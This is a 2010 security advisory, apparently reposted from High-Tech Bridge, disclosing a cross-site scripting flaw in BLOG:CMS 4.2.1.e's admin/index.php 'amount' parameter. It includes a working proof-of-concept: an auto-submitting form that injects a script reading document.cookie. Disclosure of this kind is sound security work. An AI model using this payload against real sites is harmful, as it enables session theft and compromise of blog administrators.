XSS vulnerability in BLOG:CMS

Type securityvulns
Reporter Securityvulns
Modified 2010-12-15T00:00:00


Vulnerability ID: HTB22725 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogcms_1.html Product: BLOG:CMS Vendor: Radek Hulan ( http://blogcms.com/ ) Vulnerable Version: 4.2.1.e and probably prior versions Vendor Notification: 30 November 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "amount" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php" method="post" name="main"> <input type="hidden" name="blogid" value="0"> <input type="hidden" name="itemid" value="0"> <input type="hidden" name="action" value="browseowncomments"> <input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'> <input type="hidden" name="start" value="0"> <input type="hidden" name="search" value=""> </form> <script> document.main.submit(); </script>

Solution: Upgrade to the most recent version